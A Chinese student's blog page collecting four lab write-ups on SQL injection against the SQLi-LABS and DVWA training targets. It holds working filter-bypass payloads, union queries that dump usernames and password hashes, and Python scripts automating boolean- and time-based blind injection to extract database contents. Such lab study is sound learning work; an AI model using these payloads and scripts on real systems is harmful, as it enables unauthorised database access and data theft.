首页
统计
友链
归档
更多
留言板
关于
Search
1
硬盘空间免费扩容了2TB!!!
441 阅读
2
关于typecho的后台美化
281 阅读
3
开始自学Python的第一步
157 阅读
4
恋爱计时侧边
149 阅读
5
Java第一课
107 阅读
记录以及教程
学校学习记录
网络安全
登录
Search
标签搜索
C#
Java
Typecho
累计撰写
10
篇文章
累计收到
8
条评论
今日撰写
0
篇文章
首页
栏目
记录以及教程
学校学习记录
网络安全
页面
统计
友链
归档
留言板
关于
用户登录
登录
搜索到
4
篇与
网络安全
的结果
2023-01-06
SQLi-LABS less-25 - 26
{mtitle title="SQLi-LABS "/}{lamp/}今天继续SQLi-LABS。 今天挑战less 25我们首选通过一些尝试,发现他过滤掉了and or这时候我们就需要一个新的方式来过掉,比如过滤and 1.我们可以输入成anandd 这样,过滤掉之后还是and2.大小写混淆 And aND等3.替换为能执行相同功能的函数或者关键字等 还可以输入 &&来代替and 转码为:%26%26 =可以link4.采用编码或者部分编码形式这一关有显示位,我们用联合查询确认一下显示位显示啥?id=-1%20union%20select%201,2,3 得到显示位为2,3然后直接改显示位,改为数据库database(),得到数据库名字其他后面也就一样了。less -26首选判断是不是字符等等最后判断到他和单引号有关系,然后我们采用注释法尝试,发现报错。?id=1' --+这时候尝试一下以前的闭合方式 ?id=1' and '1'='1 发现正常显示数据 然后替换为 ?id=1' and '1'='2 发现不报错,但是数据消失经过尝试,是空格被吃掉了。 于是应该找一个空格的替换值。在找空格的途中,发现or也被吃掉了?id=1%27%20or%20%271%27=%271于是混淆一下?id=1%27%20oorr%20%271%27=%271经过不断手动尝试,找到空格替代符号:%A0 %0B 有效即可利用这些来查询了
2023年01月06日
34 阅读
0 评论
0 点赞
2023-01-04
DVWA medium SQL_injection
{mtitle title="DVWA"/}刚好讲到需要一个有防火墙的环境来演示SQL注入,老师采用dvwa来演示,我也搭建一个dvwa环境来试试。首先进来,将困难模式调到medium ,点击SQL injection,来到第一个页面,显示如下:这里就是点击之后的显示了,提交方式为post,我们开启抓包软件来进行分析原始数据:id=1&Submit=Submit通过多次分析,他会将各种符号进行转义,我们直接执行id=1 and 1=1&Submit=Submit成功改变页面显示并且没有报错然后通过id=1 union all select 1,2&Submit=Submit 来判断他数据库输出有几列,很荣幸,一次出来了然后我们将显示位2改为database()这样就直接得到数据库名:dvwa然后就是老规矩的语句了 select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database() 得到了guestbook,users接下来就是取列了 select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA=database() and table_name='***' 这时候就会发现,单引号被转义了!!!这时候利用hex()来过掉。 select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=hex(%64%76%77%61) and table_name=hex(%67%75%65%73%74%62%6F%6F%6B 结果还是报错{alert type="error"}Unknown column 'dvwa' in 'where clause'{/alert}最终在数据库测试,得到以下语句: select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=database() and table_name=0x7573657273 这样就能得到里面的表名。user_id,first_name,last_name,user,password,avatar,last_login,failed_login然后再执行id=1 union all select (select group_concat(user) from users),(select group_concat(password) from users)&Submit=Submit得到了数据:First name: admin,gordonb,1337,pablo,smithySurname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99接下来就是解码啥的了{lamp/}总结:本次在入侵时被符号转义拦住了,采用16进制过掉。{lamp/}意外发现:select语句,直接用%73%65%6C%65%63%74 能直接执行,以后要是屏蔽select,可以用这个方法尝试
2023年01月04日
21 阅读
0 评论
1 点赞
2023-01-04
SQLi-LABS less-9
{mtitle title="SQLi-LABS "/}这是SQLi-LABS less-9的教程,首先判断是什么类型。通过多次测试,我们发现他的页面并没有变化。然后我们F12,来到网络这一列,多次请求,发现他们的数据大小不一样。)这样就初步判断为单引号闭合方式,然后执行if()与sleep()来判断?id=1 and if(1=1,1,sleep(2)) 与 ?id=1 and if(1=2,1,sleep(2))来对比执行时间。发现我们判断正确,时间不一样。所以应该使用:时延方式来判断。所以继续开始脚本跑。首先判断数据库长度与数据库名。import requests import time header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-9/?id=1" start_time = time.time() get_time_one = requests.get(url, headers=header) end_time = time.time() print("当前页面直接执行时间为:{}s".format(end_time - start_time)) # 然后我们开始使用延时程序获取数据库长度 get_length_payload = "' and if(length(database())={},sleep(2),1)--+" db_length = 0 for x in range(1, 50): exec_url = url + get_length_payload.format(x) start_time = time.time() get_time_two = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x)) db_length = x break # 获取到数据库长度之后开始遍历执行,来获取数据库名字 if db_length == 0: print("未获取到数据库长度") else: zidian = "qwertyuiopasdfghjklzxcvbnm_-!@#$%^&*()=+0123456789." db_name = "" get_db_name_url = "' and if(substr(database(),{},1) = '{}',sleep(2),1)--+" for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_db_name_url.format(i, char) start_time = time.time() get_time_three = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}为:{}".format(load_time, i, char)) db_name = db_name + char break elif char == ".": print("字典中没有第{}个字符,在最终显示已经被.代替".format(i)) print("最终得到的数据库名为:", db_name) 得到最后的输出结果:当前页面直接执行时间为:0.11469316482543945s获取到不正常执行时间,执行时间为2.1107115745544434s,所以当前数据库的长度为:8获取到不正常执行时间,执行时间为2.1146018505096436s,所以当前数据库第1为:s获取到不正常执行时间,执行时间为2.1094131469726562s,所以当前数据库第2为:e获取到不正常执行时间,执行时间为2.113433837890625s,所以当前数据库第3为:c获取到不正常执行时间,执行时间为2.1134040355682373s,所以当前数据库第4为:u获取到不正常执行时间,执行时间为2.106841802597046s,所以当前数据库第5为:r获取到不正常执行时间,执行时间为2.105522632598877s,所以当前数据库第6为:i获取到不正常执行时间,执行时间为2.0989420413970947s,所以当前数据库第7为:t获取到不正常执行时间,执行时间为2.1081080436706543s,所以当前数据库第8为:y最终得到的数据库名为: security写好第一个脚本代码,接下来的代码就简单了,直接替换即可。里面文字我就不替换了,直接替换里面东西即可,然后得到数据。# 已知数据库名字,查找表名 import requests import time header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-9/?id=1" start_time = time.time() get_time_one = requests.get(url, headers=header) end_time = time.time() print("当前页面直接执行时间为:{}s".format(end_time - start_time)) # 然后我们开始使用延时程序获取数据库长度 get_length_payload = "' and if(length((select group_concat(table_name) from information_schema.TABLES where " \ "TABLE_SCHEMA='security' ))={},sleep(2),1)--+" db_length = 0 for x in range(1, 50): exec_url = url + get_length_payload.format(x) start_time = time.time() get_time_two = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x)) db_length = x break # 获取到数据库长度之后开始遍历执行,来获取数据库名字 if db_length == 0: print("未获取到数据库长度") else: zidian = "qwertyuiopasdfghjklzxcvbnm,_-!@#$%^&*()=+0123456789." db_name = "" get_db_name_url = "' and if(substr((select group_concat(table_name) from information_schema.TABLES where " \ "TABLE_SCHEMA='security' ),{},1) = '{}',sleep(2),1)--+" for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_db_name_url.format(i, char) start_time = time.time() get_time_three = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}个字符为:{}".format(load_time, i, char)) db_name = db_name + char break elif char == ".": print("字典中没有第{}个字符,在最终显示已经被.代替".format(i)) print("最终得到的数据库名为:", db_name) 得到数据当前页面直接执行时间为:0.11574578285217285s获取到不正常执行时间,执行时间为2.1130292415618896s,所以当前数据库的长度为:29获取到不正常执行时间,执行时间为2.1061453819274902s,所以当前数据库第1个字符为:e获取到不正常执行时间,执行时间为2.118091583251953s,所以当前数据库第2个字符为:m获取到不正常执行时间,执行时间为2.091547727584839s,所以当前数据库第3个字符为:a获取到不正常执行时间,执行时间为2.1065824031829834s,所以当前数据库第4个字符为:i获取到不正常执行时间,执行时间为2.114455223083496s,所以当前数据库第5个字符为:l获取到不正常执行时间,执行时间为2.121629238128662s,所以当前数据库第6个字符为:s获取到不正常执行时间,执行时间为2.113316535949707s,所以当前数据库第7个字符为:,获取到不正常执行时间,执行时间为2.106614589691162s,所以当前数据库第8个字符为:r获取到不正常执行时间,执行时间为2.108381509780884s,所以当前数据库第9个字符为:e获取到不正常执行时间,执行时间为2.0973410606384277s,所以当前数据库第10个字符为:f获取到不正常执行时间,执行时间为2.1180193424224854s,所以当前数据库第11个字符为:e获取到不正常执行时间,执行时间为2.1169002056121826s,所以当前数据库第12个字符为:r获取到不正常执行时间,执行时间为2.1003849506378174s,所以当前数据库第13个字符为:e获取到不正常执行时间,执行时间为2.0978527069091797s,所以当前数据库第14个字符为:r获取到不正常执行时间,执行时间为2.120124578475952s,所以当前数据库第15个字符为:s获取到不正常执行时间,执行时间为2.091212749481201s,所以当前数据库第16个字符为:,获取到不正常执行时间,执行时间为2.10874080657959s,所以当前数据库第17个字符为:u获取到不正常执行时间,执行时间为2.0956385135650635s,所以当前数据库第18个字符为:a获取到不正常执行时间,执行时间为2.108181953430176s,所以当前数据库第19个字符为:g获取到不正常执行时间,执行时间为2.105844497680664s,所以当前数据库第20个字符为:e获取到不正常执行时间,执行时间为2.0994632244110107s,所以当前数据库第21个字符为:n获取到不正常执行时间,执行时间为2.0919923782348633s,所以当前数据库第22个字符为:t获取到不正常执行时间,执行时间为2.097458600997925s,所以当前数据库第23个字符为:s获取到不正常执行时间,执行时间为2.1086175441741943s,所以当前数据库第24个字符为:,获取到不正常执行时间,执行时间为2.090602159500122s,所以当前数据库第25个字符为:u获取到不正常执行时间,执行时间为2.107654333114624s,所以当前数据库第26个字符为:s获取到不正常执行时间,执行时间为2.1169581413269043s,所以当前数据库第27个字符为:e获取到不正常执行时间,执行时间为2.121765613555908s,所以当前数据库第28个字符为:r获取到不正常执行时间,执行时间为2.11423659324646s,所以当前数据库第29个字符为:s最终得到的数据库名为: emails,referers,uagents,users这样就得到了表名:emails,referers,uagents,users然后得到表名之后来获取每个表的列名。# 已知数据库名字,表名,获取列名 import requests import time header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-9/?id=1" start_time = time.time() get_time_one = requests.get(url, headers=header) end_time = time.time() print("当前页面直接执行时间为:{}s".format(end_time - start_time)) # 然后我们开始使用延时程序获取数据库长度 get_length_payload = "' and if(length((select group_concat(column_name) from information_schema.columnS where " \ "TABLE_SCHEMA='security' and table_name='emails'))={},sleep(2),1)--+" db_length = 0 for x in range(1, 50): exec_url = url + get_length_payload.format(x) start_time = time.time() get_time_two = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x)) db_length = x break # 获取到数据库长度之后开始遍历执行,来获取数据库名字 if db_length == 0: print("未获取到数据库长度") else: zidian = "qwertyuiopasdfghjklzxcvbnm,_-!@#$%^&*()=+0123456789." db_name = "" get_db_name_url = "' and if(substr((select group_concat(column_name) from information_schema.columnS where " \ "TABLE_SCHEMA='security' and table_name='emails'),{},1) = '{}',sleep(2),1)--+" for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_db_name_url.format(i, char) start_time = time.time() get_time_three = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}个字符为:{}".format(load_time, i, char)) db_name = db_name + char break elif char == ".": print("字典中没有第{}个字符,在最终显示已经被.代替".format(i)) print("最终得到的数据库名为:", db_name) 得到输出结果:当前页面直接执行时间为:0.11669230461120605s获取到不正常执行时间,执行时间为2.104663610458374s,所以当前数据库的长度为:11获取到不正常执行时间,执行时间为2.1007297039031982s,所以当前数据库第1个字符为:i获取到不正常执行时间,执行时间为2.1102514266967773s,所以当前数据库第2个字符为:d获取到不正常执行时间,执行时间为2.113839626312256s,所以当前数据库第3个字符为:,获取到不正常执行时间,执行时间为2.1136367321014404s,所以当前数据库第4个字符为:e获取到不正常执行时间,执行时间为2.1104328632354736s,所以当前数据库第5个字符为:m获取到不正常执行时间,执行时间为2.117844343185425s,所以当前数据库第6个字符为:a获取到不正常执行时间,执行时间为2.0929653644561768s,所以当前数据库第7个字符为:i获取到不正常执行时间,执行时间为2.108395576477051s,所以当前数据库第8个字符为:l获取到不正常执行时间,执行时间为2.120378255844116s,所以当前数据库第9个字符为:_获取到不正常执行时间,执行时间为2.115018367767334s,所以当前数据库第10个字符为:i获取到不正常执行时间,执行时间为2.1137630939483643s,所以当前数据库第11个字符为:d最终得到的数据库名为: id,email_id这样,就得到emails的列名分别为:id,email_id同理可得referers:id,referer,ip_addressuagents:id,uagent,ip_address,usernameusers:id,username,password然后就是跑里面的数据了,我们用emails来试试# 已知数据库名字,表名,获取列名 import requests import time header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-9/?id=1" start_time = time.time() get_time_one = requests.get(url, headers=header) end_time = time.time() print("当前页面直接执行时间为:{}s".format(end_time - start_time)) # 然后我们开始使用延时程序获取数据库长度 # select group_concat(email_id) from emails get_length_payload = "' and if(length((select group_concat(email_id) from emails))={},sleep(2),1)--+" db_length = 0 for x in range(1, 500): exec_url = url + get_length_payload.format(x) start_time = time.time() get_time_two = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x)) db_length = x break # 获取到数据库长度之后开始遍历执行,来获取数据库名字 if db_length == 0: print("未获取到数据库长度") else: zidian = "qwertyuiopasdfghjklzxcvbnm,_-!@#$%^&*()=+0123456789." db_name = "" get_db_name_url = "' and if(substr((select group_concat(email_id) from emails),{},1) = '{}',sleep(2),1)--+" for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_db_name_url.format(i, char) start_time = time.time() get_time_three = requests.get(exec_url, headers=header) end_time = time.time() load_time = end_time - start_time if load_time > 2: print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}个字符为:{}".format(load_time, i, char)) db_name = db_name + char break elif char == ".": print("字典中没有第{}个字符,在最终显示已经被.代替".format(i)) print("最终得到的数据库名为:", db_name) 我在跑的时候发现跑不出来长度,但是我直接跑数据还能有数据,于是我判断是长度过长的原因。所以将长度改为500由于数据过长,我就不展示里面的查询过程了,直接贴上最终数据结果。最终得到的数据为: dumb@dhakkan.com,angel@iloveu.com,dummy@dhakkan.local,secure@dhakkan.local,stupid@dhakkan.local,superman@dhaskan.local,batman@dhakkan.local,admin@dhakkan.com
2023年01月04日
28 阅读
0 评论
1 点赞
2023-01-03
SQLi-LABS less-8
{mtitle title="SQLi-LABS"/}这段时间刚好在学网络安全相关,现在学到SQL注入,通过SQLi-LABS靶场来闯关。在less-8的时候,老师讲了一个通过Python来查到数据库名的目的,我自己尝试一下(没有系统学习过Python)。所以自己顺着思路来写一个。{lamp/}首先通过各种尝试,已经知道了他是单引号闭合方式。因为有同学和我一起学习,所以我搭建的靶场是放在我的云服务器的,不方便展示,所以需要自行替换import requests header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-8/?id=1" zhengque = requests.get(url, headers=header) get_length_payload = "' and length(database())={} --+" db_length = 0 for x in range(1, 20): exec_url = url + get_length_payload.format(x) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库名长度为:", x) db_length = x break if x == 20: print("数据库名超过19位!请修改程序!") zidian = "qwertyuiopasdfghjklzxcvbnm_-!@#$%^&*()=+0123456789." db_name = "" get_name_payload = "' and substr(database(),{},1) = '{}' --+" for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_name_payload.format(i, char) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库第", i, "个字符为:", char) db_name = db_name + char break if char == ".": db_name = db_name + char print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.") print("最终得到的数据库名为:", db_name) 思路非常简单,首先是来判断数据库长度为多少,一般数据库长度不大于20,所以我这里直接写到最多20位。如果最后没有输出,请自行修改到更大的数值得到位数之后,我们写一个字典,字典里面采用常用的字母数字符号等,由于数据库名不分大小写,所有这里只用添加小写字母于是得到以下输出结果:数据库名长度为: 8数据库第 1 个字符为: s数据库第 2 个字符为: e数据库第 3 个字符为: c数据库第 4 个字符为: u数据库第 5 个字符为: r数据库第 6 个字符为: i数据库第 7 个字符为: t数据库第 8 个字符为: y最终得到的数据库名为: security{lamp/}得到数据库之后开始查询表名,将上面的代码修改一下,即可得到表名。# 已知数据库名,判断列名 import requests header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-8/?id=1" zhengque = requests.get(url, headers=header) get_length_payload = "' and length((select table_name from information_schema.TABLES where " \ "TABLE_SCHEMA='security' limit 0,1))={} --+ " db_length = 0 for x in range(1, 20): exec_url = url + get_length_payload.format(x) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库名长度为:", x) db_length = x break if db_length == 0: print("数据库表名长度超过20,请重新定义!") else: zidian = "qwertyuiopasdfghjklzxcvbnm_-!@#$%^&*()=+0123456789." db_name = "" db_get = 1 get_name_payload = "' and substr((select table_name from information_schema.TABLES where " \ "TABLE_SCHEMA='security' limit 0,1),{},1) = '{}' --+ " for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_name_payload.format(i, char) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库表名第", i, "个字符为:", char) db_name = db_name + char break if char == ".": db_name = db_name + char db_get = 0 print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.") print("最终得到的数据库表名为:", db_name) 得到下面的结果:数据库名长度为: 6数据库第 1 个字符为: e数据库第 2 个字符为: m数据库第 3 个字符为: a数据库第 4 个字符为: i数据库第 5 个字符为: l数据库第 6 个字符为: s最终得到的数据库名为: emails就按照上面的代码,修改limit 0,1 为 limit 1,1 limit 1,2 即可查询这个数据库下面的表名。最终得到的表名为:emails referers uagents users 刚学一个函数:group_concat() 一次性输出所有的表名。于是就有了下面的代码# 已知数据库名,判断列名 import requests header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-8/?id=1" zhengque = requests.get(url, headers=header) get_length_payload = "' and length((select group_concat(table_name) from information_schema.TABLES where " \ "TABLE_SCHEMA='security' ))={} --+ " db_length = 0 for x in range(1, 80): exec_url = url + get_length_payload.format(x) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库名长度为:", x) db_length = x break if db_length == 0: print("数据库表名长度超过80,请重新定义!") else: zidian = "qwertyuiopasdfghjklzxcvbnm_-!,@#$%^&*()=+0123456789." db_name = "" db_get = 1 get_name_payload = "' and substr((select group_concat(table_name) from information_schema.TABLES where " \ "TABLE_SCHEMA='security' ),{},1) = '{}' --+ " for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_name_payload.format(i, char) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库第", i, "个字符为:", char) db_name = db_name + char break if char == ".": db_name = db_name + char db_get = 0 print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.") print("最终得到的数据库表名为:", db_name, "所有表名由逗号分割") 得到以下结果:数据库名长度为: 29数据库第 1 个字符为: e数据库第 2 个字符为: m数据库第 3 个字符为: a数据库第 4 个字符为: i数据库第 5 个字符为: l数据库第 6 个字符为: s数据库第 7 个字符为: ,数据库第 8 个字符为: r数据库第 9 个字符为: e数据库第 10 个字符为: f数据库第 11 个字符为: e数据库第 12 个字符为: r数据库第 13 个字符为: e数据库第 14 个字符为: r数据库第 15 个字符为: s数据库第 16 个字符为: ,数据库第 17 个字符为: u数据库第 18 个字符为: a数据库第 19 个字符为: g数据库第 20 个字符为: e数据库第 21 个字符为: n数据库第 22 个字符为: t数据库第 23 个字符为: s数据库第 24 个字符为: ,数据库第 25 个字符为: u数据库第 26 个字符为: s数据库第 27 个字符为: e数据库第 28 个字符为: r数据库第 29 个字符为: s最终得到的数据库表名为: emails,referers,uagents,users 所有表名由逗号分割得到数据库表名,就开始得到每个表里面的列名。代码都差不多,直接一招鲜,修改一小部分。# 已知数据库名,表名,获取里面的列 import requests header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0", "Accept-Language": "zh-CN,zh; q=0.9", "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8" } url = "http://111.111.111.111/Less-8/?id=1" zhengque = requests.get(url, headers=header) get_length_payload = "' and length((select group_concat(column_name) from information_schema.columnS where " \ "TABLE_SCHEMA='security' and table_name='users'))={} --+ " db_length = 0 for x in range(1, 80): exec_url = url + get_length_payload.format(x) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库名长度为:", x) db_length = x break if db_length == 0: print("数据库表名长度超过80,请重新定义!") else: zidian = "qwertyuiopasdfghjklzxcvbnm_-!,@#$%^&*()=+0123456789." db_name = "" db_get = 1 get_name_payload = "' and substr((select group_concat(column_name) from information_schema.columnS where " \ "TABLE_SCHEMA='security' and table_name='users'),{},1) = '{}' --+ " for i in range(1, db_length + 1): for char in zidian: exec_url = url + get_name_payload.format(i, char) exec_text = requests.get(exec_url, headers=header) if exec_text.text == zhengque.text: print("数据库第", i, "个字符为:", char) db_name = db_name + char break if char == ".": db_name = db_name + char db_get = 0 print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.") print("最终得到的数据库表名为:", db_name, "所有表名由逗号分割") 下面为输出结果:数据库名长度为: 20数据库第 1 个字符为: i数据库第 2 个字符为: d数据库第 3 个字符为: ,数据库第 4 个字符为: u数据库第 5 个字符为: s数据库第 6 个字符为: e数据库第 7 个字符为: r数据库第 8 个字符为: n数据库第 9 个字符为: a数据库第 10 个字符为: m数据库第 11 个字符为: e数据库第 12 个字符为: ,数据库第 13 个字符为: p数据库第 14 个字符为: a数据库第 15 个字符为: s数据库第 16 个字符为: s数据库第 17 个字符为: w数据库第 18 个字符为: o数据库第 19 个字符为: r数据库第 20 个字符为: d最终得到的数据库表名为: id,username,password 所有表名由逗号分割就这样得到了user表下面的列:id,username,password同理可得:emails下列名:id,email_idreferers下列名:id,referer,ip_addressuagents下列名:id,uagent,ip_address,username代码可优化部分:可以将里面重复使用的部分封装为函数。得到数据库表名之后可以进行多线程访问,查询列名。可以将三个代码部门合并为一个脚本。
2023年01月03日
42 阅读
0 评论
2 点赞